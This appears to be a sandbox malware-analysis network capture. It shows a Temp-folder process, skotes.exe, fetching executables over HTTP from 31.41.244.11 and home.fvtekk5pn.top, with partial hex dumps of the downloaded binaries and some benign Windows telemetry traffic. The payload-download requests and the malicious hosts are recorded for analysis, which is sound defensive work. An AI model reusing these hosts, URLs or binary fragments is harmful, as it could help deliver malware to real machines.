<c>1008938001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008939001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008940001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008941001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008942001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	53169	31.41.244.11	80	6076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:48:09.070005894 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 05:48:10.499834061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 04:48:10 GMT Content-Type: application/octet-stream Content-Length: 4401664 Last-Modified: Mon, 25 Nov 2024 02:31:55 GMT Connection: keep-alive ETag: "6743e19b-432a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 de fa 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 84 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 84 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@C@ _qsP px'@.rsrc p'@.idata q'@ 8q'@ugpfseiqv'@jhuzbkezC@.taggant0"C@
Nov 25, 2024 05:48:10.499876976 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:48:10.499934912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:48:10.499970913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:48:10.500029087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:48:10.500066042 CET	672	IN	Data Raw: 30 4f 65 a7 de 8c ef d0 86 c2 84 fb dd 9a 49 f4 03 28 9d c4 46 3e 23 73 28 87 04 e8 0b 42 5b b3 3d 9a 8c 6b a4 fb 6a 7f b2 f3 fb 0f a7 61 74 fa 2c d1 1b ac 8b 06 df b9 55 ca f3 54 0b fe db a1 ee e5 2d bc 9b 95 9b 0a ae 69 6d b1 67 24 64 32 19 c7 Data Ascii: 0OeI(F>#s(B[=kjat,UT-img$d2y;cF5c5oN;zIBwtktd~)'eq/Qo7\?33{H"8v> B&rd4Wm(FVNT6u679{%Q>}Tv4
Nov 25, 2024 05:48:10.500102043 CET	1236	IN	Data Raw: c6 14 f6 ba 3d 03 34 37 13 3c 1f bd 56 04 1b 50 ba 85 ce b9 52 d8 cc 14 43 01 e2 8b 42 d4 3e 3b 85 81 f1 d2 7d d6 60 26 86 d1 8a 79 1f ca f0 96 a8 5a ec 6f 5d 35 a4 69 d7 a2 de 57 03 51 80 9d 1b 7b 51 85 20 c4 c6 81 a1 da 0e 41 e7 24 6c 64 9b e5 Data Ascii: =47<VPRCB>;}`&yZo]5iWQ{Q A$ld30X~hUSE^5A_3[ LJy>K3s1fnMO2-X?iw,cXskJ~RBt7 2yPl%
Nov 25, 2024 05:48:10.500137091 CET	1236	IN	Data Raw: a4 51 da b2 70 76 6e b2 b6 e5 57 24 83 60 27 10 c8 f5 23 b9 3d 11 a0 c5 c4 48 e3 86 be ea 2a 10 83 0c f5 72 bc 3a a1 00 90 cd 33 37 97 e1 2d bf d1 e3 ea 00 f0 52 03 cb 9b e1 e2 93 79 f2 0a 2b ae bd a9 12 7d 2a e7 f3 82 91 0b cf d9 0c 9e d5 d0 df Data Ascii: QpvnW$`'#=Hr:37-Ry+};47zcZ=lJ;n#Z+G!k8}cLC0}<}X;e_g%RJ'w79eH$w5+@f;6D
Nov 25, 2024 05:48:10.500186920 CET	448	IN	Data Raw: 9f 95 8b 6a 8a 08 6b 98 d6 c2 86 a5 83 c6 e8 b2 d2 0f f5 57 e3 db f4 c9 ba 16 e7 b0 20 d1 92 9a d3 aa 03 09 dd 28 bc f0 b8 43 af 75 75 1c f4 86 fd 2f f3 ce fe 12 b2 84 96 35 4c 6d f3 a1 e7 f6 f7 f5 f9 71 05 6f 8c da 03 a9 0b 4b 4a 9b b8 59 60 2b Data Ascii: jkW (Cuu/5LmqoKJY`+ycrsR7HjSUqgqR<)4bx}q@\NDB\|0srYMQI91RrAq\|.cpNcxK$='6770cUE2%
Nov 25, 2024 05:48:10.500224113 CET	1236	IN	Data Raw: d5 5a 0b 82 e3 73 0a c1 20 fd 9d fc 4a bb 6a e5 60 15 05 6a 83 27 da 78 8e d1 32 40 a7 46 96 04 45 f4 75 b0 bf d8 5a c9 ba f1 5d eb 0b b3 6f 87 01 8e b0 76 07 79 33 c0 d0 bd 1a f6 8c fd 23 a4 9a d6 17 8b 8f 44 10 47 b9 e2 95 50 83 08 45 d9 25 a5 Data Ascii: Zs Jj`j'x2@FEuZ]ovy3#DGPE%<Kv,\|KrdO?W@s\9lqG-ZUx4"Yrj;8>p<aaT.sfr[By [ ;yiAnog d
Nov 25, 2024 05:48:10.620062113 CET	1236	IN	Data Raw: 0c fd 70 86 20 77 ff 8f a7 e3 cb f1 b4 39 0e 1e 75 20 17 e8 8f da ef b7 52 c5 f2 b9 e4 07 6f 75 bc 7b fe 8a fb d0 42 24 65 8d 9f 77 03 6a 98 7d 3e d9 5b a7 90 dc 1e ab 9a 32 ef 80 7e b5 f2 b6 96 ea 9f 5d 84 b6 fb 7e d7 3b 21 82 ba dd fb 84 8e 32 Data Ascii: p w9u Rou{B$ewj}>[2~]~;!2JQFj984yHt'G}JS+^Wp\uc$zMbdExeX#bXsM&I^UbA

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	53194	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:48:20.737204075 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 25, 2024 05:48:22.211570978 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 25 Nov 2024 04:48:21 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 25, 2024 05:48:22.211610079 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 25, 2024 05:48:22.211621046 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 25, 2024 05:48:22.211644888 CET	552	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 25, 2024 05:48:22.272036076 CET	1236	IN	Data Raw: 54 65 68 8b e4 85 de 32 cf 3f a9 91 d9 b6 ed 84 92 fe 43 ef 63 9d c2 e9 e7 0c 37 eb 8e 40 ac ba 3b 5e dc c7 ba 12 00 66 bd c0 4d 3d c3 a8 ae a7 d5 d7 6f 36 bd e3 46 64 0b b0 9d 1c 3f d1 b7 6e 1a 8c 4b 17 be f7 39 cb cb 34 a8 10 80 2e 96 00 d5 f9 Data Ascii: Teh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&kDH32x&0z<O\|(4;'=<ZBS1a<aQNyA;4^p;'Ok
Nov 25, 2024 05:48:22.272099018 CET	1236	IN	Data Raw: e5 72 d2 c7 ce 58 5f c5 50 24 a4 62 ec 06 7d 5b 16 4f 20 b9 42 df 3a 3c 09 6c 9e 12 d6 34 bd 67 b1 17 49 a9 d8 41 50 fc f8 46 77 25 32 61 ac 60 5e 5f 01 e9 83 c2 64 84 10 41 93 a8 32 8b 72 69 b6 a4 ae 40 51 dc de bd 43 8d 9c 9e 5f 25 5d a9 a1 9a Data Ascii: rX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.GF3*\|Y?pn3iEox/rq>M9{U@8^y,xy>oir
Nov 25, 2024 05:48:22.272111893 CET	1236	IN	Data Raw: 66 b0 d8 a9 0e 54 43 ee cb b7 a1 20 0f 5c c5 1e b1 e1 26 d2 e9 03 fc 72 d5 ea aa 46 6d 73 a1 d1 66 c9 b6 ee 9a 5c 4f dc bf 94 e1 cb 01 a2 23 23 2c 0f c7 9a 52 f5 a2 21 95 81 02 f6 24 54 f3 75 5d e6 e3 52 b3 1e 12 9c 7f 8d 7a 60 41 95 35 92 aa 18 Data Ascii: fTC \&rFmsf\O##,R!$Tu]Rz`A5=Yw&Ex3XvNX^XjyJncs:q_gBpK6q+.K%sZ. W, aTz,h;fas#F@{Hy,Ir>T%}X\|(
Nov 25, 2024 05:48:22.272146940 CET	552	IN	Data Raw: ca bf 3d 19 75 6f cd be 19 1d de 0d b3 77 d9 dc 60 e6 17 e8 44 3b 06 e6 53 d8 20 d5 14 56 4f 38 26 fe 6c 11 5c d0 8d 0e 36 84 51 23 9d e1 84 dc de 67 dd 77 ae 60 d9 76 6e ca 68 c2 62 61 e1 76 e4 8a 95 b4 c3 60 2f 57 d0 11 94 d1 30 f4 3a 97 1b 61 Data Ascii: =uow`D;S VO8&l\6Q#gw`vnhbav`/W0:acnXmPOAAi[kzx+qMVZUMsj-C/>dNVQG]y,V}Msi@,%VAaMKu\|]a4n&'99yI]

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49716	20.190.147.7	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-25 04:46:12 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 04:46:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 04:45:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: a1694f5c-7446-4862-84c5-2a3dfb35e286 PPServer: PPV: 30 H: BL02EPF00027B69 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 04:46:13 GMT Connection: close Content-Length: 11177
2024-11-25 04:46:13 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49717	20.190.147.7	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-25 04:46:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 04:46:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 04:45:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 74efcfd7-75ee-4236-b1d9-43c8ef1e3b5b PPServer: PPV: 30 H: PH1PEPF00012006 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 04:46:12 GMT Connection: close Content-Length: 11177
2024-11-25 04:46:13 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49718	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:14 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=caca35ca468440d5801a46cf4c03216e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAccaD6tP2bYCt3E7LYRAzNdOqSCYXJZMjIhhmK2bz8+u0289uGCJto7xOID8AknWrya4BWIiK27wC7X7BIUz+juFMzApoyCsqpbU04CSlJgwXpDQKDx77mHA822np1L4brc7ucy5D1JCQ4HidhMcdSdl/KUUFbF++Gz9h0BnNFI1g+uUVuey7pajAnNB6Hgvvibi9h7rbeGSpDmWzr7rQvznkQ4GczLs862fJ7l65wAI+5o7SuvYmWM8XdkzcQfQYhPUpGLLi2z9i/lhwUHYM09BPEBjrtyk0bSNcnwVo7wmQYDO+OS/l0jZa+meyP19exEorbP+Rm4N81s0LVNC4boQZgAAEI2Ji+hlfY+nJu+jE+y5Vn+wAeI+nadFmwExYO7Rqvs0p0Qxw8epz5gnP106f2yfUGUXpfYHD5BgoAgUctQtTVyt3Uao0XLKa8z3mij4iyivmNVf7upUCnmCFlmN965e41QKQQkzfSrbMLgMQoJv6v2DZHMuNxat5c2ddLKrfUouqTZjSOAUO5P9bLiGgNZfPY4Y77LoK7Os5jNyQPP4CnCFbAgyaJpqYypHjOwvIun17hy8ROiTBFY+BnZLfS1dubPOWCFQYIZowby0SK2HOr6FBUhIpsMfer4zF1tEYerxxaXY8wrBkJXLjLD9c+8/39cW3YmEScHjqDGDuMDO1m9ofce4JDNN7EqwsMZNHPHK865mQb/cekiYBawelIIyfrccGed2ZYErTh1uoxSfO/dGP/uQ4ZJGbmA1uUL2dFsmuBfeUUCZdYO765lZQ1/1VTRsE+ibHmwcTxrdw0GYrVqseHBFFPIcQZbPKbOWRHg+B9EPgf4OO1RmMhY2uPvU9BUIAyiSBXf8T2woGnkl4XXqhK7A74N5qXAMMYr23+Psy7+dpzJasmqkOef2ZJxz3kGNa0m29PhyGnBRESGxdFtuVdcB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
